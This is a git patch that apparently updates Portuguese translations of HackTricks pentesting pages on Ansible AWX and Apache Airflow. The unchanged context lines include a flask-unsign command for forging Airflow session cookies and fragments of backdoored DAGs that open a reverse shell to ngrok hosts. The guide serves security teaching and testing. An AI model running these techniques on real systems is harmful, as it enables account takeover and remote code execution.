From 17d930d963b603c3b0ef6aeec07988d288d8807d Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 2 Jan 2025 01:17:32 +0000
Subject: [PATCH] Translated ['src/banners/hacktricks-training.md',
 'src/pentesting-ci-cd/

---
 src/banners/hacktricks-training.md            |  2 +-
 ...ower-awx-automation-controller-security.md | 74 +++++++--------
 .../apache-airflow-security/README.md         | 26 +++---
 .../airflow-configuration.md                  | 16 ++--
 .../apache-airflow-security/airflow-rbac.md   |  6 +-
 src/pentesting-ci-cd/atlantis-security.md     | 46 +++++-----
 src/pentesting-ci-cd/circleci-security.md     | 34 +++----
 .../cloudflare-security/README.md             | 74 +++++++--------
 .../cloudflare-security/cloudflare-domains.md | 30 +++---
 .../cloudflare-zero-trust-network.md          |  6 +-
 .../concourse-security/README.md              |  4 +-
 .../concourse-enumeration-and-attacks.md      | 62 ++++++-------
 .../concourse-lab-creation.md                 |  6 +-
 src/pentesting-ci-cd/gitea-security/README.md | 32 +++----
 .../gitea-security/basic-gitea-information.md | 22 ++---
 .../github-security/README.md                 | 54 +++++------
 .../abusing-github-actions/README.md          | 60 ++++++------
 .../gh-actions-cache-poisoning.md             |  2 +-
 .../accessible-deleted-data-in-github.md      | 24 ++---
 .../basic-github-information.md               | 42 ++++-----
 .../jenkins-security/README.md                | 40 ++++----
 .../basic-jenkins-information.md              | 16 ++--
 ...itrary-file-read-to-rce-via-remember-me.md | 42 ++++-----
 .../jenkins-rce-creating-modifying-project.md |  8 +-
 .../jenkins-rce-with-groovy-script.md         |  2 +-
 src/pentesting-ci-cd/okta-security/README.md  | 50 +++++-----
 .../okta-security/okta-hardening.md           | 18 ++--
 .../pentesting-ci-cd-methodology.md           | 72 +++++++--------
 .../serverless.com-security.md                | 42 ++++-----
 src/pentesting-ci-cd/supabase-security.md     | 16 ++--
 src/pentesting-ci-cd/terraform-security.md    | 22 ++---
 src/pentesting-ci-cd/todo.md                  |  2 +-
 .../travisci-security/README.md               | 12 +--
 .../basic-travisci-information.md             |  4 +-
 src/pentesting-ci-cd/vercel-security.md       | 92 +++++++++----------
 src/pentesting-cloud/aws-security/README.md   | 34 +++----
 .../aws-basic-information/README.md           | 66 ++++++-------
 .../aws-federation-abuse.md                   | 10 +-
 .../aws-permissions-for-a-pentest.md          |  4 +-
 .../aws-api-gateway-persistence.md            |  4 +-
 .../aws-cognito-persistence.md                |  4 +-
 .../aws-persistence/aws-ec2-persistence.md    | 18 ++--
 .../aws-persistence/aws-ecr-persistence.md    |  4 +-
 .../aws-persistence/aws-ecs-persistence.md    | 10 +-
 .../aws-elastic-beanstalk-persistence.md      |  4 +-
 .../aws-persistence/aws-kms-persistence.md    |  2 +-
 .../aws-lambda-persistence/README.md          |  2 +-
 .../aws-abusing-lambda-extensions.md          | 18 ++--
 .../aws-lambda-layers-persistence.md          | 14 +--
 .../aws-lightsail-persistence.md              |  8 +-
 .../aws-persistence/aws-rds-persistence.md    |  6 +-
 .../aws-persistence/aws-s3-persistence.md     |  6 +-
 .../aws-persistence/aws-sns-persistence.md    |  2 +-
 .../aws-persistence/aws-sqs-persistence.md    |  2 +-
 .../aws-persistence/aws-ssm-perssitence.md    |  2 +-
 .../aws-step-functions-persistence.md         | 10 +-
 .../aws-persistence/aws-sts-persistence.md    |  6 +-
 .../aws-api-gateway-post-exploitation.md      | 22 ++---
 .../aws-cloudfront-post-exploitation.md       | 10 +-
 .../aws-codebuild-post-exploitation/README.md |  8 +-
 .../aws-codebuild-token-leakage.md            |  6 +-
 .../aws-control-tower-post-exploitation.md    |  2 +-
 .../aws-dlm-post-exploitation.md              |  2 +-
 .../aws-dynamodb-post-exploitation.md         | 26 +++---
 .../README.md                                 | 34 +++----
 .../aws-ebs-snapshot-dump.md                  |  4 +-
 .../aws-malicious-vpc-mirror.md               |  8 +-
 .../aws-ecs-post-exploitation.md              |  6 +-
 .../aws-efs-post-exploitation.md              |  2 +-
 .../aws-eks-post-exploitation.md              | 18 ++--
 ...aws-elastic-beanstalk-post-exploitation.md | 10 +-
 .../aws-iam-post-exploitation.md              |  4 +-
 .../aws-kms-post-exploitation.md              | 10 +-
 .../aws-lambda-post-exploitation/README.md    |  2 +-
 .../aws-warm-lambda-persistence.md            |  2 +-
 .../aws-lightsail-post-exploitation.md        |  2 +-
 .../aws-rds-post-exploitation.md              |  4 +-
 .../aws-s3-post-exploitation.md               | 10 +-
 .../aws-secrets-manager-post-exploitation.md  |  4 +-
 .../aws-ses-post-exploitation.md              |  6 +-
 .../aws-sns-post-exploitation.md              | 12 +--
 .../aws-sqs-post-exploitation.md              |  2 +-
 ...sso-and-identitystore-post-exploitation.md |  4 +-
 .../aws-stepfunctions-post-exploitation.md    |  2 +-
 .../aws-sts-post-exploitation.md              |  9 +-
 .../aws-apigateway-privesc.md                 |  4 +-
 .../aws-cloudformation-privesc/README.md      |  6 +-
 ...stack-and-cloudformation-describestacks.md |  4 +-
 .../aws-codebuild-privesc.md                  | 16 ++--
 .../aws-codepipeline-privesc.md               |  2 +-
 .../aws-codestar-privesc/README.md            |  2 +-
 ...ateproject-codestar-associateteammember.md |  2 +-
 .../iam-passrole-codestar-createproject.md    |  6 +-
 .../aws-cognito-privesc.md                    | 20 ++--
 .../aws-datapipeline-privesc.md               |  2 +-
 .../aws-directory-services-privesc.md         |  4 +-
 .../aws-dynamodb-privesc.md                   |  2 +-
 .../aws-ebs-privesc.md                        |  2 +-
 .../aws-ec2-privesc.md                        | 26 +++---
 .../aws-ecr-privesc.md                        |  4 +-
 .../aws-ecs-privesc.md                        |  4 +-
 .../aws-efs-privesc.md                        | 12 +--
 .../aws-elastic-beanstalk-privesc.md          | 10 +-
 .../aws-emr-privesc.md                        |  4 +-
 .../aws-privilege-escalation/aws-gamelift.md  |  2 +-
 .../aws-iam-privesc.md                        | 30 +++---
 .../aws-kms-privesc.md                        |  4 +-
 .../aws-lambda-privesc.md                     | 20 ++--
 .../aws-lightsail-privesc.md                  |  8 +-
 .../aws-mq-privesc.md                         |  2 +-
 .../aws-msk-privesc.md                        |  2 +-
 .../aws-organizations-prinvesc.md             |  2 +-
 .../aws-rds-privesc.md                        | 10 +-
 .../aws-redshift-privesc.md                   |  2 +-
 .../aws-s3-privesc.md                         |  6 +-
 .../aws-sagemaker-privesc.md                  |  6 +-
 .../aws-secrets-manager-privesc.md            |  2 +-
 .../aws-sns-privesc.md                        |  2 +-
 .../aws-sqs-privesc.md                        |  2 +-
 .../aws-ssm-privesc.md                        | 10 +-
 .../aws-sso-and-identitystore-privesc.md      | 12 +--
 .../aws-stepfunctions-privesc.md              | 22 ++---
 .../aws-sts-privesc.md                        |  8 +-
 .../aws-workdocs-privesc.md                   |  4 +-
 .../eventbridgescheduler-privesc.md           |  4 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |  6 +-
 .../aws-security/aws-services/README.md       |  2 +-
 .../aws-services/aws-api-gateway-enum.md      | 28 +++---
 ...m-and-private-certificate-authority-pca.md |  8 +-
 .../aws-cloudformation-and-codestar-enum.md   | 10 +-
 .../aws-services/aws-cloudfront-enum.md       | 10 +-
 .../aws-services/aws-cloudhsm-enum.md         | 16 ++--
 .../aws-services/aws-codebuild-enum.md        | 14 +--
 .../aws-services/aws-cognito-enum/README.md   |  6 +-
 .../cognito-identity-pools.md                 | 22 ++---
 .../aws-cognito-enum/cognito-user-pools.md    | 52 +++++------
 ...e-codepipeline-codebuild-and-codecommit.md |  4 +-
 .../aws-directory-services-workdocs-enum.md   | 24 ++---
 .../aws-services/aws-documentdb-enum.md       |  4 +-
 .../aws-services/aws-dynamodb-enum.md         | 16 ++--
 .../README.md                                 | 20 ++--
 .../aws-nitro-enum.md                         | 28 +++---
 ...ws-vpc-and-networking-basic-information.md | 54 +++++------
 .../aws-security/aws-services/aws-ecr-enum.md |  6 +-
 .../aws-security/aws-services/aws-ecs-enum.md |  8 +-
 .../aws-security/aws-services/aws-efs-enum.md | 14 +--
 .../aws-security/aws-services/aws-eks-enum.md |  8 +-
 .../aws-elastic-beanstalk-enum.md             | 10 +-
 .../aws-services/aws-elasticache.md           |  2 +-
 .../aws-security/aws-services/aws-emr-enum.md |  6 +-
 .../aws-security/aws-services/aws-iam-enum.md | 18 ++--
 .../aws-kinesis-data-firehose-enum.md         |  6 +-
 .../aws-security/aws-services/aws-kms-enum.md | 20 ++--
 .../aws-services/aws-lambda-enum.md           |  8 +-
 .../aws-services/aws-lightsail-enum.md        |  4 +-
 .../aws-security/aws-services/aws-mq-enum.md  |  6 +-
 .../aws-security/aws-services/aws-msk-enum.md |  2 +-
 .../aws-services/aws-organizations-enum.md    |  6 +-
 .../aws-services/aws-other-services-enum.md   |  2 +-
 .../aws-services/aws-redshift-enum.md         |  8 +-
 .../aws-relational-database-rds-enum.md       | 10 +-
 .../aws-services/aws-route53-enum.md          |  4 +-
 .../aws-s3-athena-and-glacier-enum.md         | 32 +++----
 .../aws-services/aws-secrets-manager-enum.md  |  6 +-
 .../aws-cloudtrail-enum.md                    | 46 +++++-----
 .../aws-cloudwatch-enum.md                    | 50 +++++-----
 .../aws-config-enum.md                        | 14 +--
 .../aws-control-tower-enum.md                 |  6 +-
 .../aws-cost-explorer-enum.md                 |  4 +-
 .../aws-firewall-manager-enum.md              | 28 +++---
 .../aws-guardduty-enum.md                     | 42 ++++-----
 .../aws-inspector-enum.md                     | 30 +++---
 .../aws-macie-enum.md                         | 10 +-
 .../aws-shield-enum.md                        |  2 +-
 .../aws-trusted-advisor-enum.md               | 12 +--
 .../aws-waf-enum.md                           | 52 +++++------
 .../aws-security/aws-services/aws-ses-enum.md |  6 +-
 .../aws-security/aws-services/aws-sns-enum.md |  8 +-
 .../aws-services/aws-sqs-and-sns-enum.md      |  2 +-
 .../aws-services/aws-stepfunctions-enum.md    | 12 +--
 .../aws-security/aws-services/aws-sts-enum.md | 12 +--
 .../aws-services/eventbridgescheduler-enum.md | 12 +--
 .../aws-unauthenticated-enum-access/README.md | 38 ++++----
 .../aws-accounts-unauthenticated-enum.md      | 10 +-
 .../aws-api-gateway-unauthenticated-enum.md   |  8 +-
 .../aws-codebuild-unauthenticated-access.md   |  6 +-
 .../aws-cognito-unauthenticated-enum.md       |  6 +-
 .../aws-documentdb-enum.md                    |  4 +-
 .../aws-ecr-unauthenticated-enum.md           |  2 +-
 ...-elastic-beanstalk-unauthenticated-enum.md |  6 +-
 .../aws-iam-and-sts-unauthenticated-enum.md   | 22 ++---
 ...ity-center-and-sso-unauthenticated-enum.md |  6 +-
 .../aws-iot-unauthenticated-enum.md           |  4 +-
 .../aws-lambda-unauthenticated-access.md      |  2 +-
 .../aws-media-unauthenticated-enum.md         |  4 +-
 .../aws-mq-unauthenticated-enum.md            |  4 +-
 .../aws-msk-unauthenticated-enum.md           |  2 +-
 .../aws-rds-unauthenticated-enum.md           |  4 +-
 .../aws-redshift-unauthenticated-enum.md      |  4 +-
 .../aws-s3-unauthenticated-enum.md            | 14 +--
 .../aws-sns-unauthenticated-enum.md           |  4 +-
 .../aws-sqs-unauthenticated-enum.md           |  4 +-
 src/pentesting-cloud/azure-security/README.md | 14 +--
 .../az-basic-information/README.md            | 42 ++++-----
 .../az-tokens-and-public-applications.md      | 17 ++--
 .../azure-security/az-device-registration.md  | 22 ++---
 .../azure-security/az-enumeration-tools.md    |  6 +-
 .../README.md                                 | 14 +--
 .../az-arc-vulnerable-gpo-deploy-script.md    | 10 +-
 .../az-local-cloud-credentials.md             |  6 +-
 .../az-pass-the-certificate.md                | 10 +-
 .../az-pass-the-cookie.md                     |  6 +-
 .../az-processes-memory-access-token.md       |  4 +-
 .../az-cloud-kerberos-trust.md                |  8 +-
 .../az-default-applications.md                |  4 +-
 .../az-synchronising-new-users.md             |  2 +-
 .../federation.md                             | 34 +++----
 .../phs-password-hash-sync.md                 | 14 +--
 .../pass-the-prt.md                           | 16 ++--
 .../az-permissions-for-a-pentest.md           |  2 +-
 .../pentesting-cloud-methodology.md           | 24 ++---
 221 files changed, 1540 insertions(+), 1546 deletions(-)

diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index 33b00ca17..beb2a15e8 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -4,7 +4,7 @@
 >
 > <details>
 >
-> <summary>Suporte ao HackTricks</summary>
+> <summary>Support HackTricks</summary>
 >
 > - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 > - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 1b090fb0d..30e1946d7 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,62 +1,62 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Segurança do controlador de automação
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface de usuário, painel e API REST do Ansible**. Com **controle de acesso baseado em função**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
+**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface do usuário do Ansible, painel e API REST**. Com **controle de acesso baseado em função**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
 
-**Automation Controller é uma versão mais nova** do Ansible Tower com mais capacidades.
+**O Controlador de Automação é uma versão** mais nova do Ansible Tower com mais capacidades.
 
-### Differences
+### Diferenças
 
 De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), as principais diferenças entre Ansible Tower e AWX são o suporte recebido e o Ansible Tower possui recursos adicionais, como controle de acesso baseado em função, suporte para APIs personalizadas e fluxos de trabalho definidos pelo usuário.
 
-### Tech Stack
+### Stack Tecnológico
 
-- **Web Interface**: Esta é a interface gráfica onde os usuários podem gerenciar inventários, credenciais, modelos e tarefas. É projetada para ser intuitiva e fornece visualizações para ajudar a entender o estado e os resultados de suas tarefas de automação.
-- **REST API**: Tudo o que você pode fazer na interface da web, você também pode fazer via API REST. Isso significa que você pode integrar AWX/Tower com outros sistemas ou scriptar ações que normalmente você realizaria na interface.
-- **Database**: AWX/Tower usa um banco de dados (tipicamente PostgreSQL) para armazenar sua configuração, resultados de tarefas e outros dados operacionais necessários.
+- **Interface Web**: Esta é a interface gráfica onde os usuários podem gerenciar inventários, credenciais, modelos e tarefas. É projetada para ser intuitiva e fornece visualizações para ajudar a entender o estado e os resultados de suas tarefas de automação.
+- **API REST**: Tudo o que você pode fazer na interface web, você também pode fazer via API REST. Isso significa que você pode integrar AWX/Tower com outros sistemas ou scriptar ações que normalmente você realizaria na interface.
+- **Banco de Dados**: AWX/Tower usa um banco de dados (tipicamente PostgreSQL) para armazenar sua configuração, resultados de tarefas e outros dados operacionais necessários.
 - **RabbitMQ**: Este é o sistema de mensagens usado pelo AWX/Tower para se comunicar entre os diferentes componentes, especialmente entre o serviço web e os executores de tarefas.
 - **Redis**: Redis serve como um cache e um backend para a fila de tarefas.
 
-### Logical Components
+### Componentes Lógicos
 
-- **Inventories**: Um inventário é uma **coleção de hosts (ou nós)** contra os quais **tarefas** (playbooks do Ansible) podem ser **executadas**. AWX/Tower permite que você defina e agrupe seus inventários e também suporta inventários dinâmicos que podem **buscar listas de hosts de outros sistemas** como AWS, Azure, etc.
-- **Projects**: Um projeto é essencialmente uma **coleção de playbooks do Ansible** provenientes de um **sistema de controle de versão** (como Git) para puxar os playbooks mais recentes quando necessário.
-- **Templates**: Modelos de tarefas definem **como um determinado playbook será executado**, especificando o **inventário**, **credenciais** e outros **parâmetros** para a tarefa.
-- **Credentials**: AWX/Tower fornece uma maneira segura de **gerenciar e armazenar segredos, como chaves SSH, senhas e tokens de API**. Essas credenciais podem ser associadas a modelos de tarefas para que os playbooks tenham o acesso necessário quando forem executados.
-- **Task Engine**: É aqui que a mágica acontece. O mecanismo de tarefas é construído sobre o Ansible e é responsável por **executar os playbooks**. As tarefas são despachadas para o mecanismo de tarefas, que então executa os playbooks do Ansible contra o inventário designado usando as credenciais especificadas.
-- **Schedulers and Callbacks**: Esses são recursos avançados no AWX/Tower que permitem que **tarefas sejam agendadas** para serem executadas em horários específicos ou acionadas por eventos externos.
-- **Notifications**: AWX/Tower pode enviar notificações com base no sucesso ou falha das tarefas. Ele suporta vários meios de notificações, como e-mails, mensagens do Slack, webhooks, etc.
-- **Ansible Playbooks**: Playbooks do Ansible são ferramentas de configuração, implantação e orquestração. Eles descrevem o estado desejado dos sistemas de uma maneira automatizada e repetível. Escritos em YAML, os playbooks usam a linguagem de automação declarativa do Ansible para descrever configurações, tarefas e etapas que precisam ser executadas.
+- **Inventários**: Um inventário é uma **coleção de hosts (ou nós)** contra os quais **tarefas** (playbooks do Ansible) podem ser **executadas**. AWX/Tower permite que você defina e agrupe seus inventários e também suporta inventários dinâmicos que podem **buscar listas de hosts de outros sistemas** como AWS, Azure, etc.
+- **Projetos**: Um projeto é essencialmente uma **coleção de playbooks do Ansible** provenientes de um **sistema de controle de versão** (como Git) para puxar os playbooks mais recentes quando necessário.
+- **Modelos**: Modelos de tarefas definem **como um determinado playbook será executado**, especificando o **inventário**, **credenciais** e outros **parâmetros** para a tarefa.
+- **Credenciais**: AWX/Tower fornece uma maneira segura de **gerenciar e armazenar segredos, como chaves SSH, senhas e tokens de API**. Essas credenciais podem ser associadas a modelos de tarefas para que os playbooks tenham o acesso necessário quando forem executados.
+- **Motor de Tarefas**: É aqui que a mágica acontece. O motor de tarefas é construído sobre o Ansible e é responsável por **executar os playbooks**. As tarefas são despachadas para o motor de tarefas, que então executa os playbooks do Ansible contra o inventário designado usando as credenciais especificadas.
+- **Agendadores e Callbacks**: Esses são recursos avançados no AWX/Tower que permitem que **tarefas sejam agendadas** para serem executadas em horários específicos ou acionadas por eventos externos.
+- **Notificações**: AWX/Tower pode enviar notificações com base no sucesso ou falha das tarefas. Ele suporta vários meios de notificações, como e-mails, mensagens do Slack, webhooks, etc.
+- **Playbooks do Ansible**: Playbooks do Ansible são ferramentas de configuração, implantação e orquestração. Eles descrevem o estado desejado dos sistemas de uma maneira automatizada e repetível. Escritos em YAML, os playbooks usam a linguagem de automação declarativa do Ansible para descrever configurações, tarefas e etapas que precisam ser executadas.
 
-### Job Execution Flow
+### Fluxo de Execução de Tarefas
 
-1. **User Interaction**: Um usuário pode interagir com AWX/Tower através da **Web Interface** ou da **REST API**. Essas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
-2. **Job Initiation**:
-- O usuário, via a Web Interface ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
+1. **Interação do Usuário**: Um usuário pode interagir com AWX/Tower através da **Interface Web** ou da **API REST**. Essas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
+2. **Iniciação da Tarefa**:
+- O usuário, via Interface Web ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
 - O Modelo de Tarefa inclui referências ao **Inventário**, **Projeto** (contendo o playbook) e **Credenciais**.
 - Após a iniciação da tarefa, uma solicitação é enviada ao backend do AWX/Tower para colocar a tarefa na fila para execução.
-3. **Job Queuing**:
-- **RabbitMQ** gerencia a comunicação entre o componente web e os executores de tarefas. Uma vez que uma tarefa é iniciada, uma mensagem é despachada para o mecanismo de tarefas usando RabbitMQ.
+3. **Fila de Tarefas**:
+- **RabbitMQ** gerencia a comunicação entre o componente web e os executores de tarefas. Uma vez que uma tarefa é iniciada, uma mensagem é despachada para o motor de tarefas usando RabbitMQ.
 - **Redis** atua como o backend para a fila de tarefas, gerenciando tarefas enfileiradas aguardando execução.
-4. **Job Execution**:
-- O **Task Engine** pega a tarefa enfileirada. Ele recupera as informações necessárias do **Banco de Dados** sobre o playbook associado à tarefa, inventário e credenciais.
-- Usando o playbook do Ansible recuperado do **Projeto** associado, o Task Engine executa o playbook contra os nós do **Inventário** especificado usando as **Credenciais** fornecidas.
+4. **Execução da Tarefa**:
+- O **Motor de Tarefas** pega a tarefa enfileirada. Ele recupera as informações necessárias do **Banco de Dados** sobre o playbook associado à tarefa, inventário e credenciais.
+- Usando o playbook do Ansible recuperado do **Projeto** associado, o Motor de Tarefas executa o playbook contra os nós do **Inventário** especificado usando as **Credenciais** fornecidas.
 - À medida que o playbook é executado, sua saída de execução (logs, fatos, etc.) é capturada e armazenada no **Banco de Dados**.
-5. **Job Results**:
+5. **Resultados da Tarefa**:
 - Uma vez que o playbook termina de ser executado, os resultados (sucesso, falha, logs) são salvos no **Banco de Dados**.
-- Os usuários podem então visualizar os resultados através da Web Interface ou consultá-los via API REST.
-- Com base nos resultados da tarefa, **Notificações** podem ser despachadas para informar os usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
-6. **External Systems Integration**:
-- **Inventories** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais.
-- **Projects** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa.
-- **Schedulers and Callbacks** podem ser usados para integrar com outros sistemas ou ferramentas, fazendo com que o AWX/Tower reaja a gatilhos externos ou execute tarefas em horários predeterminados.
+- Os usuários podem então visualizar os resultados através da Interface Web ou consultá-los via API REST.
+- Com base nos resultados das tarefas, **Notificações** podem ser despachadas para informar usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
+6. **Integração com Sistemas Externos**:
+- **Inventários** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais.
+- **Projetos** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa.
+- **Agendadores e Callbacks** podem ser usados para integrar com outros sistemas ou ferramentas, fazendo com que o AWX/Tower reaja a gatilhos externos ou execute tarefas em horários predeterminados.
 
-### AWX lab creation for testing
+### Criação de laboratório AWX para testes
 
-[**Seguindo a documentação**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) é possível usar docker-compose para executar AWX:
+[**Seguindo a documentação**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) é possível usar docker-compose para executar o AWX:
 ```bash
 git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
 
@@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
 
 A função mais privilegiada é chamada de **Administrador do Sistema**. Qualquer pessoa com essa função pode **modificar qualquer coisa**.
 
-De uma revisão de **segurança de caixa branca**, você precisaria da **função de Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer nenhuma alteração. Outra opção seria obter a **função de Auditor da Organização**, mas seria melhor obter a outra.
+De uma revisão de **segurança de caixa branca**, você precisaria da função **Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer nenhuma alteração. Outra opção seria obter a função **Auditor da Organização**, mas seria melhor obter a outra.
 
 <details>
 
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index 6a4908a7c..050fe83c4 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,10 +1,10 @@
-# Apache Airflow Security
+# Segurança do Apache Airflow
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ### Informações Básicas
 
-[**Apache Airflow**](https://airflow.apache.org) serve como uma plataforma para **orquestrar e agendar pipelines de dados ou fluxos de trabalho**. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e utilizáveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.
+[**Apache Airflow**](https://airflow.apache.org) serve como uma plataforma para **orquestrar e agendar pipelines de dados ou fluxos de trabalho**. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e consumíveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a, ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.
 
 Basicamente, o Apache Airflow permitirá que você **agende a execução de código quando algo** (evento, cron) **acontecer**.
 
@@ -51,7 +51,7 @@ Se você tiver **acesso ao console web**, pode ser capaz de acessar algumas ou t
 - **Variáveis** (Informações sensíveis personalizadas podem ser armazenadas aqui)
 - **Conexões** (Informações sensíveis personalizadas podem ser armazenadas aqui)
 - Acesse-as em `http://<airflow>/connection/list/`
-- [**Configuração**](./#airflow-configuration) (Informações sensíveis como **`secret_key`** e senhas podem ser armazenadas aqui)
+- [**Configuração**](./#airflow-configuration) (Informações sensíveis como o **`secret_key`** e senhas podem ser armazenadas aqui)
 - Liste **usuários e funções**
 - **Código de cada DAG** (que pode conter informações interessantes)
 
@@ -62,22 +62,22 @@ O Airflow, por padrão, mostrará o valor da variável na GUI, no entanto, de ac
 
 ![](<../../images/image (164).png>)
 
-No entanto, esses **valores** ainda podem ser **recuperados** via **CLI** (você precisa ter acesso ao DB), execução de **DAG** arbitrário, **API** acessando o endpoint de variáveis (a API precisa estar ativada) e **até mesmo a própria GUI!**\
-Para acessar esses valores a partir da GUI, basta **selecionar as variáveis** que você deseja acessar e **clicar em Ações -> Exportar**.\
+No entanto, esses **valores** ainda podem ser **recuperados** via **CLI** (você precisa ter acesso ao DB), execução de **DAG** arbitrário, **API** acessando o endpoint de variáveis (a API precisa ser ativada) e **até mesmo a própria GUI!**\
+Para acessar esses valores pela GUI, basta **selecionar as variáveis** que você deseja acessar e **clicar em Ações -> Exportar**.\
 Outra maneira é realizar um **bruteforce** no **valor oculto** usando o **filtro de pesquisa** até obtê-lo:
 
 ![](<../../images/image (152).png>)
 
 #### Escalação de Privilégios
 
-Se a configuração **`expose_config`** estiver definida como **True**, a partir da **função Usuário** e **acima**, pode-se **ler** a **configuração na web**. Nessa configuração, a **`secret_key`** aparece, o que significa que qualquer usuário com isso válido pode **criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário**.
+Se a configuração **`expose_config`** estiver definida como **True**, a partir da **função Usuário** e **acima**, pode-se **ler** a **configuração na web**. Nessa configuração, o **`secret_key`** aparece, o que significa que qualquer usuário com isso válido pode **criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário**.
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
-#### DAG Backdoor (RCE em trabalhador Airflow)
+#### Backdoor de DAG (RCE no trabalhador do Airflow)
 
-Se você tiver **acesso de escrita** ao local onde os **DAGs são salvos**, você pode simplesmente **criar um** que enviará para você um **reverse shell.**\
-Observe que este reverse shell será executado dentro de um **container de trabalhador airflow**:
+Se você tiver **acesso de gravação** ao local onde os **DAGs são salvos**, você pode simplesmente **criar um** que enviará para você um **reverse shell.**\
+Observe que este reverse shell será executado dentro de um **container de trabalhador do airflow**:
 ```python
 import pendulum
 from airflow import DAG
@@ -116,9 +116,9 @@ python_callable=rs,
 op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
 )
 ```
-#### DAG Backdoor (RCE no agendador do Airflow)
+#### DAG Backdoor (RCE no scheduler do Airflow)
 
-Se você definir algo para ser **executado na raiz do código**, no momento da escrita deste texto, ele será **executado pelo agendador** após alguns segundos depois de colocá-lo dentro da pasta do DAG.
+Se você definir algo para ser **executado na raiz do código**, no momento da escrita deste texto, ele será **executado pelo scheduler** após alguns segundos depois de colocá-lo dentro da pasta do DAG.
 ```python
 import pendulum, socket, os, pty
 from airflow import DAG
@@ -144,7 +144,7 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
 ```
 #### Criação de DAG
 
-Se você conseguir **comprometer uma máquina dentro do cluster DAG**, pode criar novos **scripts de DAG** na pasta `dags/` e eles serão **replicados no restante das máquinas** dentro do cluster DAG.
+Se você conseguir **comprometer uma máquina dentro do cluster DAG**, pode criar novos **scripts DAG** na pasta `dags/` e eles serão **replicados no restante das máquinas** dentro do cluster DAG.
 
 #### Injeção de Código em DAG
 
@@ -160,6 +160,6 @@ from airflow.models import Variable
 [...]
 foo = Variable.get("foo")
 ```
-Se forem usados, por exemplo, dentro de um comando bash, você poderia realizar uma injeção de comando.
